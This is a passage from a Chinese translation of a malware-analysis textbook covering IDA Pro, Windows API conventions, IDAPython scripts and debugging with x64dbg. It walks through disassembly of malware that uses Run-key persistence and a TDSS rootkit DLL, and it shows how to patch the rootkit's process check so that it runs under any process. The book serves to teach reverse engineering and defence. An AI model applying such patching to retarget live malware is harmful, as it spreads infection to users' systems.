Long Pointer (LP) | 这是指向另一数据类型的指针。例如,LPDWORD 是指向 DWORD 的指针,LPCSTR 是常量字符串,LPCTSTR 是常量 TCHAR(1 字节 ASCII 字符或 2 字节 Unicode 字符)字符串,LPSTR 是非常量字符串,LPTSTR 是非常量 TCHAR(ASCII 或 Unicode)字符串。有时,你会看到 Pointer (P) 代替 Long Pointer (LP)。 |
Handle (H) | 它代表handle数据类型。句柄是对对象的引用。在进程可以访问一个对象(例如文件、注册表、进程、互斥锁等)之前,它必须先打开该对象的句柄。例如,如果一个进程想要写入文件,它首先调用 API,如CreateFile,该 API 返回文件的句柄;然后,进程使用该句柄调用WriteFile API 来写入文件。 |
除了数据类型和变量外,前面的函数原型包含了注解,例如_In_和_Out_,这些注解描述了函数如何使用其参数和返回值。_In_指定这是一个输入参数,调用者必须提供有效的参数以确保函数能够正常工作。_IN_OPT指定这是一个可选的输入参数(也可以是NULL)。_Out_指定这是一个输出参数,意味着函数在返回时会填充该参数。了解这一约定非常有用,因为它告诉你,API 调用后是否会在输出参数中存储任何数据。_Inout_表示该参数既传递值给函数,又接收函数的输出。
通过了解如何从文档中获取 API 的信息,接下来我们回到恶意软件示例。通过交叉引用CreateFile,我们可以确定CreateFile API 在两个函数中被引用,分别是StartAddress和start,如下所示:
双击前面截图中的第一个条目,会跳转到反汇编窗口中的以下代码。以下代码突出了 IDA 的另一个重要特性。反汇编时,IDA 采用了一种叫做快速库识别与匹配技术(FLIRT)的技术,该技术包含模式匹配算法,用于识别反汇编的函数是库函数还是导入函数(从 DLL 导入的函数)。在这个例子中,IDA 成功地将反汇编出的函数➊识别为一个导入函数,并将其命名为CreateFileA。IDA 能够识别库函数和导入函数非常有用,因为在分析恶意软件时,你不希望浪费时间逆向工程一个库或导入函数。IDA 还将参数的名称作为注释添加,以指示在每个指令中传递了哪些参数,直到调用CreateFileA Windows API 为止:
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 2 ➍ ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push 40000000h ➌ ; dwDesiredAccess
push offset FileName ➋ ; "psto.exe"
call CreateFileA ➊
从前面的反汇编列表中,你可以看出恶意软件要么创建,要么打开一个作为第一个参数(➋)传递给CreateFile的文件(psto.exe)。根据文档,你知道第二个参数(➌)指定了请求的访问权限(如读取或写入)。常量40000000h作为第二个参数,表示符号常量GENERIC_WRITE。恶意软件作者通常在其源代码中使用符号常量,如GENERIC_WRITE;但在编译过程中,这些常量会被其等价值(如40000000h)替代,使得很难判断它是一个数值常量还是符号常量。在这种情况下,结合 Windows API 文档,我们知道在➌位置的值40000000h是一个符号常量,代表GENERIC_WRITE。类似地,作为第五个参数(➍)传递的值2,代表符号名称CREATE_ALWAYS;这表明恶意软件正在创建文件。
IDA 的另一个特点是它维护了一个 Windows API 或 C 标准库函数的标准符号常量列表。要将常量值如40000000h在➌位置替换为符号常量,只需右击常量值并选择“使用标准符号常量”选项;这将弹出一个窗口,显示所选值(在此例中是40000000h)的所有符号名称,如下图所示。你需要选择适当的符号常量;在此例中,适当的符号常量是GENERIC_WRITE。以同样的方式,你也可以将作为第五个参数传递的常量值2,替换为它的符号名称CREATE_ALWAYS:
在将常量替换为符号名称后,反汇编列表会被转换为如下所示的内容。现在代码更加易读,从代码中你可以看出恶意软件在文件系统上创建了文件psto.exe。功能调用之后,文件的句柄(可以在EAX寄存器中找到)会被返回。该函数返回的文件句柄可以传递给其他 API,如ReadFile()或WriteFile(),以执行后续操作:
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push CREATE_ALWAYS ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push GENERIC_WRITE ; dwDesiredAccess
push offset FileName ; "psto.exe"
call CreateFileA
3.1.1 ANSI 和 Unicode API 函数
Windows 支持两组并行的 API:一组用于ANSI 字符串,另一组用于Unicode 字符串。许多接受字符串作为参数的函数,其名称结尾带有A或W,例如CreateFileA。换句话说,结尾的字符可以帮助你了解传递给函数的字符串类型(ANSI 或 Unicode)。在上述示例中,恶意软件调用CreateFileA来创建文件;结尾的字符A指定CreateFile函数接受 ANSI 字符串作为输入。你也会看到恶意软件使用如CreateFileW的 API;结尾的W指定该函数接受 Unicode 字符串作为输入。在恶意软件分析中,当你遇到CreateFileA或CreateFileW等函数时,只需去掉结尾的A和W字符,使用CreateFile在 MSDN 中搜索该函数的文档。
3.1.2 扩展 API 函数
你将经常遇到函数名以Ex后缀结尾的情况,例如RegCreateKeyEx(它是RegCreateKey的扩展版本)。当微软更新一个与旧版本不兼容的函数时,更新后的函数名称会添加Ex后缀。
3.2 Windows API 32 位与 64 位比较
让我们通过一个 32 位恶意软件的例子来理解恶意软件如何使用多个 API 函数与操作系统进行交互,同时也尝试理解如何解读反汇编代码来理解恶意软件执行的操作。在以下的反汇编输出中,32 位恶意软件调用RegOpenKeyEx API 来打开一个指向Run注册表键的句柄。由于我们处理的是 32 位恶意软件,所有传递给RegOpenKeyEx API 的参数都会被压入栈中。根据msdn.microsoft.com/en-us/library/windows/desktop/ms724897(v=vs.85).aspx中的文档,输出参数phkResult是一个指针变量(输出参数由_Out_注释表示),在函数调用后接收打开的注册表键的句柄。注意,在➊位置,phkResult的地址被复制到ecx寄存器中,而在➋位置,这个地址作为第五个参数传递给RegOpenKeyEx API:
lea ecx, [esp+7E8h+phkResult] ➊
push ecx ➋ ; phkResult
push 20006h ; samDesired
push 0 ; ulOptions
push offset aSoftwareMicros ;Software\Microsoft\Windows\CurrentVersion\Run
push HKEY_CURRENT_USER ; hKey
call ds:RegOpenKeyExW
在恶意软件通过调用RegOpenKeyEx打开Run注册表项的句柄后,返回的句柄(存储在phkResult变量中,位置在➌)被移动到ecx寄存器中,然后作为第一个参数传递给RegSetValueExW,位置在➍。根据该 API 的 MSDN 文档,可以看出恶意软件使用RegSetValueEx API 来设置Run注册表项中的一个值(用于持久化)。它设置的值作为第二个参数传递,位置在➎,这个值是字符串System。它添加到注册表中的数据可以通过检查第五个参数来确定,位置在➏,这个参数是通过eax寄存器传递的。从之前的指令➐可以看出,eax中保存了pszPath变量的地址。pszPath变量在运行时会被填充一些内容,因此仅通过查看代码,很难判断恶意软件正在向注册表项中添加哪些数据(你可以通过调试恶意软件来确定,下一章将讨论这一点)。但是,现阶段通过静态代码分析(反汇编),你可以知道恶意软件向注册表项中添加了一个条目以实现持久化:
mov ecx, [esp+7E8h+phkResult] ➌
sub eax, edx
sar eax, 1
lea edx, ds:4[eax*4]
push edx ; cbData
lea eax, [esp+7ECh+pszPath] ➐
push eax ➏ ; lpData
push REG_SZ ; dwType
push 0 ; Reserved
push offset ValueName ; "System" ➎
push ecx ➍ ; hKey
call ds:RegSetValueExW
在向注册表项中添加条目后,恶意软件通过将之前获取的句柄(存储在phkResult变量中)传递给RegCloseKey API 函数,从而关闭该注册表项的句柄,如下所示:
mov edx, [esp+7E8h+phkResult]
push edx ; hKey
call esi ; RegCloseKey
前面的示例演示了恶意软件如何利用多个 Windows API 函数向注册表项中添加条目,从而在计算机重启时自动运行。你还看到了恶意软件如何获取对象(如注册表项)的句柄,并将该句柄与其他 API 函数共享,以执行后续操作。
当你查看来自 64 位恶意软件的反汇编输出时,由于 x64 架构中参数传递的方式,它看起来可能会有所不同(这一点在前一章中已经讲解过)。以下是一个 64 位恶意软件调用CreateFile函数的示例。在前一章中讨论 x64 架构时,你了解到前四个参数是通过寄存器(rcx、rdx、r8和r9)传递的,剩余的参数则被放置在堆栈上。在以下的反汇编中,注意第一个参数(lpfilename)是通过rcx寄存器传递的,位置在➊,第二个参数是通过edx寄存器传递的,位置在➋,第三个参数是通过r8寄存器传递的,位置在➌,第四个参数是通过r9寄存器传递的,位置在➍。额外的参数通过mov指令(注意没有使用push指令)被放置在堆栈上,位置在➎和➏。注意 IDA 如何能够识别这些参数,并在指令旁边添加注释。该函数的返回值(即文件句柄)从rax寄存器移动到rsi寄存器,位置在➐:
xor r9d, r9d ➍ ; lpSecurityAttributes
lea rcx, [rsp+3B8h+FileName] ➊ ; lpFileName
lea r8d, [r9+1] ➌ ; dwShareMode
mov edx, 40000000h ➋ ; dwDesiredAccess
mov [rsp+3B8h+dwFlagsAndAttributes], 80h ➏ ; dwFlagsAndAttributes
mov [rsp+3B8h+dwCreationDisposition], 2 ➎ ; lpOverlapped
call cs:CreateFileW
mov rsi, rax ➐
在下面的WriteFile API 反汇编列表中,注意文件句柄在前一个 API 调用中被复制到rsi寄存器中,现被移动到rcx寄存器中,作为第一个参数传递给WriteFile函数,位于➑处。以相同的方式,其他参数也被放置到寄存器和栈上,如下所示:
and qword ptr [rsp+3B8h+dwCreationDisposition], 0
lea r9,[rsp+3B8h+NumberOfBytesWritten] ; lpNumberOfBytesWritten
lea rdx, [rsp+3B8h+Buffer] ; lpBuffer
mov r8d, 146h ; nNumberOfBytesToWrite
mov rcx, rsi ➑ ; hFile
call cs:WriteFile
从上面的示例可以看出,恶意软件创建了一个文件并将一些内容写入该文件,但当你静态查看代码时,并不清楚恶意软件创建了哪个文件或写入了什么内容。例如,要知道程序创建的文件名,你需要检查由变量lpFileName指定的地址的内容(该地址作为参数传递给CreateFile);但在这种情况下,lpFileName变量并不是硬编码的,只有在程序运行时才会填充。在下一章中,你将学习如何使用调试器以受控方式执行程序,从而查看变量的内容(内存位置)。
4. 修补二进制文件使用 IDA
在进行恶意软件分析时,你可能需要修改二进制文件,以改变其内部工作原理或逆向其逻辑以适应你的需求。使用 IDA,可以修改程序的数据或指令。你可以通过选择编辑 | 修补程序菜单来进行修补,如下图所示。通过子菜单项,你可以修改字节、字或汇编指令。需要记住的一点是,当你在二进制文件上使用这些菜单选项时,你实际上并没有修改二进制文件;修改是应用于 IDA 数据库的。要将修改应用于原始二进制文件,你需要使用应用补丁到输入文件子菜单项:
4.1 修补程序字节
考虑下面的 32 位恶意 DLL(TDSS rootkit)代码片段,它正在执行检查以确保它是在spoolsv.exe下运行的。这个检查通过字符串比较在➊处进行;如果字符串比较失败,代码将跳转到函数的末尾➋并从函数中返回。具体来说,这个 DLL 只有在被spoolsv.exe加载时才会生成恶意行为;否则,它只是从函数返回:
10001BF2 push offset aSpoolsv_exe ; "spoolsv.exe"
10001BF7 push edi ; char *
10001BF8 call _stricmp ➊
10001BFD test eax, eax
10001BFF pop ecx
10001C00 pop ecx
10001C01 jnz loc_10001CF9
[REMOVED]
10001CF9 loc_10001CF9: ➋ ; CODE XREF: DllEntryPoint+10j
10001CF9 xor eax, eax
10001CFB pop edi
10001CFC pop esi
10001CFD pop ebx
10001CFE leave
10001CFF retn 0Ch
假设你希望恶意 DLL 在任何其他进程中产生行为,比如notepad.exe。你可以将硬编码的字符串从spoolsv.exe改为notepad.exe。为此,点击aSpoolsv_exe,导航到硬编码地址,这将带你进入如图所示的区域:
现在,将鼠标光标放在变量名(aSpoolsv_exe)上。这时,十六进制视图窗口应与此地址同步。现在,点击 Hex View-1 标签,显示此内存地址的十六进制和 ASCII 转储。要修补字节,选择 编辑 | 修补程序 | 更改字节;这将弹出修补字节的对话框,如下图所示。你可以通过在 值 字段中输入新的字节值来修改原始字节。地址 字段表示光标位置的虚拟地址,文件偏移量 字段指定字节在二进制文件中所在位置的偏移量。原始值 字段显示当前地址的原始字节,即使你修改了值,这个字段的值也不会改变:
你所做的修改会应用到 IDA 数据库中;要将更改应用到原始可执行文件,可以选择 编辑 | 修补程序 | 应用补丁到输入文件。以下屏幕截图显示了 应用补丁到输入文件 对话框。当你点击 确定 时,更改将应用到原始文件;你可以通过勾选 创建备份 选项来保留原始文件的备份;在这种情况下,原始文件将保存为 .bak 扩展名:
前面的示例展示了如何修补字节;以相同的方式,你可以通过选择 编辑 | 修补程序 | 更改字 来一次修补 一个字(2 字节)。你还可以通过右键单击字节并选择 编辑(F2)来从 十六进制视图 窗口修改字节,然后再次右键单击并选择 应用更改(F2)来应用更改。
4.2 修补指令
在前面的示例中,*TDSS *rootkit DLL 进行了检查,看它是否在 spoolsv.exe 下运行。我们修改了程序中的字节,使 DLL 可以在 notepad.exe 下运行,而不是 spoolsv.exe。如果你想反转逻辑,使 DLL 可以在任何进程下运行(而不是 spoolsv.exe)怎么办?为此,我们可以通过选择 编辑 | 修补程序 | 汇编,如下面的屏幕截图所示,将 jnz 指令改为 jz。这样将反转逻辑,并导致程序在 DLL 在 spoolsv.exe 下运行时不表现任何行为,而在 DLL 在任何其他进程下运行时则表现恶意行为。更改指令后,当你点击 确定 时,指令将被汇编,但对话框仍然保持打开状态,提示你在下一个地址汇编另一个指令。如果你没有更多指令要汇编,可以点击 取消 按钮。要将更改应用到原始文件,请选择 编辑 | 修补程序 | 应用补丁到输入文件,并按照之前提到的步骤操作:
在修补指令时,需要确保指令对齐正确;否则,修补后的程序可能会表现出意想不到的行为。如果新的指令比你替换的指令短,可以插入nop指令来保持对齐不变。如果你正在组装的指令比被替换的指令长,IDA 将覆盖后续指令的字节,这可能不是你想要的行为:
5. IDA 脚本和插件
IDA 提供了脚本功能,可以访问 IDA 数据库的内容。通过脚本功能,你可以自动化一些常见任务和复杂的分析操作。IDA 支持两种脚本语言:IDC,这是一种内建的原生语言(语法类似于 C),以及通过IDAPython的 Python 脚本功能。2017 年 9 月,Hex-Rays 发布了兼容 IDA 7.0 及更高版本的 IDAPython API 新版本。本节将带你了解使用 IDAPython 的脚本功能;本节展示的 IDAPython 脚本利用了新的 IDAPython API,这意味着如果你使用的是较老版本的 IDA(低于 IDA 7.0),这些脚本将无法运行。在你熟悉 IDA 和逆向工程概念之后,你可能希望自动化任务,以下资源将帮助你开始使用IDAPython脚本:
-
《IDAPython 初学者指南》 by Alexander Hanel:
leanpub.com/IDAPython-Book -
Hex-Rays IDAPython 文档:
www.hex-rays.com/products/ida/support/idapython_docs/
5.1 执行 IDA 脚本
脚本可以通过不同的方式执行。你可以通过选择文件 | 脚本文件来执行独立的IDC或IDAPython脚本。如果你只想执行少量语句而不是创建脚本文件,可以选择文件 | 脚本命令(Shift + F2),然后从下拉菜单中选择合适的脚本语言(IDC 或 Python),如下所示。运行以下脚本命令后,当前光标位置的虚拟地址和给定地址的反汇编文本将在输出窗口中显示:
执行脚本命令的另一种方式是直接在 IDA 的命令行中输入命令,该命令行位于输出窗口下方,如下所示:
5.2 IDAPython
IDAPython 是一套强大的 Python 绑定工具,适用于 IDA。它将 Python 的强大功能与 IDA 的分析特性结合起来,提供了更强大的脚本编写能力。IDAPython 包含三个模块:idaapi,用于访问 IDA API;idautils,提供 IDA 的高级实用功能;以及 idc,一个 IDC 兼容模块。大多数 IDAPython 函数接受 地址 作为参数,而在阅读 IDAPython 文档时,你会发现该地址通常被称为 ea。许多 IDAPython 函数会返回地址;一个常见的函数是 idc.get_screen_ea(),它获取当前光标位置的地址:
Python>ea = idc.get_screen_ea()
Python>print hex(ea)
0x40206a
以下代码片段展示了如何将 idc.get_screen_ea() 返回的地址传递给 idc.get_segm_name() 函数,以确定与该地址相关联的段的名称:
Python>ea = idc.get_screen_ea()
Python>idc.get_segm_name(ea)
.text
在以下代码片段中,idc.get_screen_ea() 返回的地址被传递给 idc.generate_disasm_line() 函数,以生成反汇编文本:
Python>ea = idc.get_screen_ea()
Python>idc.generate_disasm_line(ea,0)
push ebp
在以下代码中,idc.get_screen_ea() 函数返回的地址被传递给 idc.get_func_name(),以确定与该地址相关联的函数名称。更多示例,请参考 Alexander Hanel 的《IDAPython 初学者指南》一书(leanpub.com/IDAPython-Book):
Python>ea = idc.get_screen_ea()
Python>idc.get_func_name(ea)
_main
在恶意软件分析中,通常你会想知道恶意软件是否导入了特定的函数(或函数),例如 CreateFile,以及该函数在代码中被调用的位置。你可以通过之前介绍的 交叉引用 功能来实现这一点。为了让你更好地理解 IDAPython,以下示例演示了如何使用 IDAPython 检查 CreateFile API 的存在,并识别对 CreateFile 的交叉引用。
5.2.1 检查 CreateFile API 的存在
如果你还记得,在反汇编过程中,IDA 会尝试通过使用模式匹配算法来判断反汇编函数是库函数还是导入函数。它还会从符号表中推导出函数名称列表;这些推导出的名称可以通过使用名称窗口来访问(通过视图 | 打开子视图 | 名称或 Shift + F4)。名称窗口包含了导入、导出、库函数和命名数据位置的列表。以下截图显示了名称窗口中的 CreateFileA API 函数:
你还可以通过编程方式访问命名的项。以下 IDAPython 脚本通过迭代每个命名项来检查 CreateFile API 函数的存在:
import idautils
for addr, name in idautils.Names():
if "CreateFile" in name:
print hex(addr),name
上述脚本调用了 idautils.Names() 函数,该函数返回一个命名项(元组),其中包含虚拟地址和名称。对命名项进行迭代,并检查是否存在 CreateFile。运行该脚本返回 CreateFileA API 的地址,如下所示。在下面的代码片段中,导入函数的代码位于共享库(DLL)中,只有在运行时才会加载,因此以下代码片段中的地址 (0x407010) 是关联的导入表项的虚拟地址(而不是 CreateFileA 函数代码的地址)。
0x407010 CreateFileA
确定 CreateFileA 函数是否存在的另一种方法是使用以下代码。idc.get_name_ea_simple() 函数返回 CreateFileA 的虚拟地址。如果 CreateFileA 不存在,则返回 -1(idaapi.BADADDR):
import idc
import idautils
ea = idc.get_name_ea_simple("CreateFileA")
if ea != idaapi.BADADDR:
print hex(ea), idc.generate_disasm_line(ea,0)
else:
print "Not Found"
5.2.2 使用 IDAPython 查找 CreateFile 的代码交叉引用
在识别了对 CreateFileA 函数的引用后,我们来尝试识别对 CreateFileA 函数的交叉引用(Xrefs to);这将给出所有调用 CreateFileA 的地址。以下脚本在之前的基础上进行了扩展,识别了对 CreateFileA 函数的交叉引用:
import idc
import idautils
ea = idc.get_name_ea_simple("CreateFileA")
if ea != idaapi.BADADDR:
for ref in idautils.CodeRefsTo(ea, 1):
print hex(ref), idc.generate_disasm_line(ref,0)
以下是运行前述脚本后的输出结果。输出显示了所有调用 CreateFileA API 函数的指令:
0x401161 call ds:CreateFileA
0x4011aa call ds:CreateFileA
0x4013fb call ds:CreateFileA
0x401c4d call ds:CreateFileA
0x401f2d call ds:CreateFileA
0x401fb2 call ds:CreateFileA
5.3 IDA 插件
IDA 插件大大增强了 IDA 的功能,而且大多数为 IDA 开发的第三方软件都是以插件的形式分发的。对于恶意软件分析师和逆向工程师来说,一个非常有价值的商业插件是 Hex-Rays Decompiler(www.hex-rays.com/products/decompiler/)。这个反编译器将处理器代码转化为人类可读的类似 C 的伪代码,使得阅读代码更加容易,并且能够加快分析速度。
查找一些有趣插件的最佳地点是 Hex-Rays 插件竞赛页面:www.hex-rays.com/contests/index.shtml。你还可以在 github.com/onethawt/idaplugins-list 上找到有用的 IDA 插件列表。
6. 总结
本章介绍了IDA Pro:它的特点以及如何使用它进行静态代码分析(反汇编)。在本章中,我们还介绍了一些与 Windows API 相关的概念。结合你从上一章获得的知识,并利用 IDA 提供的功能,可以大大增强你的逆向工程和恶意软件分析能力。尽管反汇编允许我们理解程序的功能,但大多数变量并不是硬编码的,它们只有在程序执行时才会被填充。在下一章中,你将学习如何借助调试器以受控方式执行恶意软件,并学习如何在程序在调试器下执行时探索二进制文件的各个方面。
第六章:调试恶意二进制文件
调试是一种以受控方式执行恶意代码的技术。调试器是一种程序,它使您能够在更细粒度的层面上检查恶意代码。它提供了对恶意软件运行时行为的完全控制,并允许您执行单个指令、多个指令或选择函数(而不是执行整个程序),同时研究恶意软件的每个动作。
本章中,您将主要学习IDA Pro(商业反汇编器/调试器)和x64dbg(开源 x32/x64 调试器)提供的调试功能。您将了解这些调试器提供的功能,以及如何使用它们检查程序的运行时行为。根据可用的资源,您可以选择使用其中任何一个调试器或同时使用两者来调试恶意二进制文件。在调试恶意软件时,需要特别小心,因为您将会在系统上运行恶意代码。强烈建议您在隔离的环境中进行任何恶意软件的调试(如第一章《恶意软件分析简介》中所述)。在本章结束时,您还将看到如何使用.NET 反编译器/调试器dnSpy(github.com/0xd4d/dnSpy)调试.NET 应用程序。
其他流行的反汇编器/调试器包括radare2(rada.re/r/index.html),WinDbg(Windows 调试工具的一部分,docs.microsoft.com/en-us/windows-hardware/drivers/debugger/),Ollydbg(www.ollydbg.de/version2.html),Immunity Debugger(www.immunityinc.com/products/debugger/),Hopper(www.hopperapp.com/),和Binary Ninja(binary.ninja/)。
1. 一般调试概念
在我们深入了解这些调试器(IDA Pro、x64dbg和DnSpy)提供的功能之前,了解大多数调试器提供的一些常见功能是很重要的。在本节中,您将主要看到一般的调试概念;在后续章节中,我们将重点介绍IDA Pro、x64dbg和dnSpy的核心功能。
1.1 启动和附加到进程
调试通常从选择要调试的程序开始。有两种方法可以调试程序:(a) 将调试器附加到正在运行的进程,以及 (b) 启动一个新进程。当你将调试器附加到正在运行的进程时,你将无法控制或监控进程的初始动作,因为在你有机会附加到进程时,它的所有启动和初始化代码已经执行完毕。当你将调试器附加到进程时,调试器会暂停进程,给你机会检查进程的资源或设置断点,然后再恢复进程的执行。
另一方面,启动一个新进程可以让你监控或调试进程的每个动作,你还将能够监控进程的初始操作。当你启动调试器时,原始二进制文件将在运行调试器的用户权限下执行。当进程在调试器下启动时,执行将在 程序的入口点 暂停。程序的入口点是将要执行的第一条指令的地址。在后续章节中,你将学习如何使用 IDA Pro、x64dbg 和 dnSpy 来 启动 和 附加 进程。
程序的入口点不一定是 main 或 WinMain 函数;在将控制权转交给 main 或 WinMain 之前,会执行初始化例程(启动例程)。启动例程的目的是在将控制权传递给 main 函数之前初始化程序的环境。调试器将此初始化过程指定为程序的入口点。
1.2 控制进程执行
调试器使你能够在进程执行时控制/修改其行为。调试器提供的两个重要功能是:(a) 控制执行的能力,以及 (b) 中断执行的能力(使用断点)。使用调试器时,你可以在将控制权返回给调试器之前执行一条或多条指令(或选择函数)。在分析过程中,你将结合调试器的控制执行和中断(断点)功能来监控恶意软件的行为。在本节中,你将了解调试器提供的常见 执行控制 功能;在后续章节中,你将学习如何在 IDA Pro、x64dbg 和 dnSpy 中使用这些功能。
以下是调试器提供的一些常见执行控制选项:
-
继续(运行): 这将执行所有指令,直到到达断点或发生异常。当你将恶意软件加载到调试器中并使用 继续(运行) 选项而不设置断点时,它将执行所有指令而不给你任何控制;因此,你通常会将此选项与断点一起使用,在断点位置中断程序。
-
进入和跳过:通过使用进入和跳过,你可以执行一条指令。执行完这条指令后,调试器会暂停,给你一个机会检查进程的资源。进入和跳过的区别出现在你执行一条调用函数的指令时。例如,在以下代码中,在➊处有对函数
sub_401000的调用。当你在这条指令上使用进入选项时,调试器会在函数的开始处(地址0x401000)停下来,而当你使用跳过时,整个函数会被执行,调试器会在下一条指令(➋,即地址0x00401018)处暂停。通常,当你想深入了解一个函数的内部实现时,使用进入;而当你已经知道一个函数的作用(例如一个 API 函数),并且希望跳过它时,使用跳过:
.text:00401010 push ebp
.text:00401011 mov ebp, esp
.text:00401013 call sub_401000 ➊
.text:00401018 xor eax,eax ➋
-
执行直到返回(运行直到返回):这个选项允许你执行当前函数中的所有指令,直到它返回。这在你不小心进入了一个函数(或者进入了一个不感兴趣的函数)时很有用,能够让你快速退出。使用这个选项时,调试器会一直执行到函数的结尾(
ret或retn),然后你可以使用进入或跳过选项返回到调用该函数的地方。 -
运行到光标(运行直到选择):这个选项允许你执行指令,直到当前光标位置,或者直到选择的指令被到达。
1.3 使用断点中断程序
断点 是一种调试器功能,允许你在程序中的特定位置中断程序的执行。断点可以用来暂停程序执行在某一特定指令处,或者在程序调用函数/API 函数时,或者在程序从某个内存地址读取、写入或执行时。你可以在程序的各个位置设置多个断点,程序执行将会在到达任何一个断点时被中断。到达断点后,可以监控/修改进程的各个方面。调试器通常允许你设置不同类型的断点:
-
软件断点:默认情况下,调试器使用软件断点。软件断点通过将断点地址处的指令替换为软件断点指令(如
int 3指令,操作码为0xCC)来实现。当软件断点指令(如int 3)被执行时,控制权会转移到调试器,调试器将调试被中断的进程。使用软件断点的优点是你可以设置无限数量的断点。缺点是恶意软件可以查找断点指令(int 3),并修改它,从而改变附加调试器的正常操作。 -
硬件断点:像 x86 这样的 CPU 通过使用 CPU 的调试寄存器
DR0 - DR7支持硬件断点。你最多可以使用DR0-DR3设置四个硬件断点;其他剩余的调试寄存器用于指定每个断点的附加条件。在硬件断点的情况下,没有指令被替换,而是由 CPU 根据调试寄存器中的值来决定是否中断程序。 -
内存断点:这些断点允许你在指令访问(读取或写入)内存时暂停执行,而不是在执行时暂停。这在你想知道何时访问特定内存(读取或写入)以及知道哪条指令访问它时非常有用。例如,如果你在内存中发现一个有趣的字符串或数据,你可以在该地址设置内存断点,以确定在什么情况下该内存被访问。
-
条件断点:使用条件断点,你可以指定必须满足的条件,以触发断点。如果条件断点被触及但条件未满足,调试器会自动恢复程序的执行。条件断点不是指令功能或 CPU 功能;它们是调试器提供的功能。因此,你可以为软件和硬件断点指定条件。设置条件断点时,由调试器负责评估条件表达式,并确定是否需要中断程序。
1.4 程序执行跟踪
跟踪 是一种调试功能,允许你在进程执行时记录(日志)特定事件。跟踪为你提供有关二进制文件的详细执行信息。在后续章节中,你将了解 IDA 和 x64dbg 提供的不同类型的跟踪功能。
2. 调试二进制文件使用 x64dbg
x64dbg (x64dbg.com) 是一个开源调试器。你可以使用 x64dbg 调试 32 位和 64 位应用程序。它具有易于使用的 GUI,并提供各种调试功能 (x64dbg.com/#features)。
在本节中,你将看到一些 x64dbg 提供的调试功能,以及如何使用它来调试恶意二进制文件。
2.1 在 x64dbg 中启动新进程
在x64dbg中,要加载一个可执行文件,选择文件 | 打开,并浏览到你希望调试的文件;这将启动进程,调试器会根据配置设置在系统断点、TLS 回调或程序入口点函数处暂停。你可以通过选择选项 | 偏好设置 | 事件来访问设置对话框。默认设置对话框如下所示,显示了加载可执行文件时的默认设置。调试器首先会在系统函数处中断(因为选中了系统断点选项)。接着,在你运行调试器后,它会在TLS 回调函数处暂停(如果存在的话,因为选中了TLS 回调选项)。有时这很有用,因为一些反调试技巧包含 TLS 条目,允许恶意软件在主应用程序运行之前执行代码。如果你继续执行程序,执行会在程序的入口点处暂停:
如果你希望执行在程序入口点直接暂停,那么取消选中系统断点和 TLS 回调选项(此配置对大多数恶意软件程序应该有效,除非恶意软件使用反调试技巧)。要保存配置设置,只需点击保存按钮。通过此配置,当加载可执行文件时,进程开始执行,并在程序入口点暂停,如下所示:
2.2 使用 x64dbg 附加到现有进程
要附加到现有的进程中,在x64dbg中选择文件 | 附加(或Alt + A);这将弹出一个对话框,显示正在运行的进程,如下所示。选择你希望调试的进程,并点击附加按钮。当调试器附加后,进程会被挂起,给你时间设置断点并检查进程的资源。当你关闭调试器时,附加的进程将终止。如果你不希望附加的进程终止,可以通过选择文件 | 分离(Ctrl + Alt + F2)来分离进程;这确保在你关闭调试器时,附加的进程不会终止:
有时,当你尝试将调试器附加到进程时,你会发现并非所有进程都列在对话框中。在这种情况下,确保你以管理员身份运行调试器;你需要通过选择选项 | 偏好设置,在引擎标签页中勾选启用调试权限选项,来启用调试权限设置。
2.3 x64dbg 调试器界面
当你在x64dbg中加载一个程序时,会出现调试器显示,如下所示。调试器显示包含多个标签页;每个标签页显示不同的窗口。每个窗口包含有关被调试二进制文件的不同信息:
- 反汇编窗口(CPU 窗口):此窗口显示调试程序所有指令的反汇编。反汇编以线性方式呈现,并与当前的指令指针寄存器(
eip或rip)的值同步。该窗口的左侧部分显示一个箭头,以指示程序的非线性流程(例如分支或循环)。您可以通过按下G热键来显示控制流图。控制流图如下所示;条件跳转使用绿色和红色箭头。绿色箭头表示当条件为真时会跳转,红色箭头表示跳转不会发生。蓝色箭头用于无条件跳转,向上的(向后的)蓝色箭头表示循环:
-
寄存器窗口:此窗口显示 CPU 寄存器的当前状态。可以通过双击寄存器并输入新值来修改寄存器的值(您也可以右键单击寄存器并将其值修改为零,或递增/递减寄存器的值)。您可以通过双击标志位的值来切换标志位的开启或关闭状态。您不能更改指令指针(
eip或rip)的值。在调试程序时,寄存器的值可能会发生变化;调试器通过红色高亮寄存器值,表示自上次指令以来的变化。 -
堆栈窗口:堆栈视图显示进程运行时堆栈的数据内容。在恶意软件分析中,通常会在调用函数之前检查堆栈,以确定传递给函数的参数个数及参数类型(例如整数或字符指针)。
-
转储窗口:此窗口显示内存的标准十六进制转储。您可以使用转储窗口查看调试进程中任何有效内存地址的内容。例如,如果堆栈位置、寄存器或指令包含有效的内存位置,要查看该内存位置,请右键点击地址并选择“在转储中跟踪”选项。
-
内存映射窗口:您可以点击“内存映射”标签,显示内存映射窗口的内容。此窗口提供进程内存的布局,并显示进程中已分配内存段的详细信息。它是查看可执行文件及其各个部分加载到内存中的位置的好方法。此窗口还包含有关进程 DLL 及其内存部分的信息。您可以双击任何条目,将显示定位到相应的内存位置:
- 符号窗口:你可以点击符号标签以显示符号窗口的内容。左侧窗格显示已加载模块的列表(可执行文件及其 DLL);点击某个模块条目将在右侧窗格显示该模块的导入和导出函数,如下所示。此窗口有助于确定导入和导出函数在内存中的位置:
- 引用窗口:此窗口显示 API 调用的引用。默认情况下,点击引用标签不会显示 API 的引用。要填充此窗口,请右键单击反汇编(CPU)窗口中的任何位置(确保已加载可执行文件),然后选择 搜索 | 当前模块 | 模块间调用;这将把所有程序中 API 调用的引用填充到引用窗口中。以下截图显示了多个 API 函数的引用;第一项告诉你,在地址
0x00401C4D,该指令调用了CreateFileAAPI(由Kernel32.dll导出)。双击该条目将带你到相应的地址(在此例中为0x00401C4D)。你还可以在该地址设置断点;一旦命中断点,你可以检查传递给CreateFileA函数的参数:
- 句柄窗口:你可以点击句柄标签打开句柄窗口;要显示内容,右键点击句柄窗口内部并选择刷新(或按F5)。这将显示所有打开的句柄的详细信息。在前一章中,当我们讨论 Windows API 时,你了解到进程可以打开指向某个对象(如文件、注册表等)的句柄,这些句柄可以传递给函数,例如
